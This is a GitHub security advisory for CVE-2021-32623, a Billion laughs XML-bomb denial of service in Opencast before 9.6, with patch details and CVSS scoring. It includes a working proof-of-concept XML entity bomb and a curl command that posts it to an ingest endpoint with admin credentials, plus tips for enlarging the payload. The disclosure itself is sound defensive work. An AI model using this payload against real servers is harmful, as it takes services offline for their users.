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Billion laughs attack (XML bomb)

High severity GitHub Reviewed Published Jun 15, 2021 in opencast/opencast • Updated Feb 1, 2023

Package

maven org.opencastproject:opencast-kernel (Maven)

Affected versions

< 9.6

Patched versions

9.6

Description

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

  • You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
  • Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
  • To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

For more information

If you have any questions or comments about this advisory:

References

@lkiesow lkiesow published to opencast/opencast Jun 15, 2021
Published by the National Vulnerability Database Jun 16, 2021
Reviewed Jun 16, 2021
Published to the GitHub Advisory Database Jun 17, 2021
Last updated Feb 1, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

EPSS score

0.074%
(33rd percentile)

Weaknesses

CVE ID

CVE-2021-32623

GHSA ID

GHSA-9gwx-9cwp-5c2m

Source code

Credits

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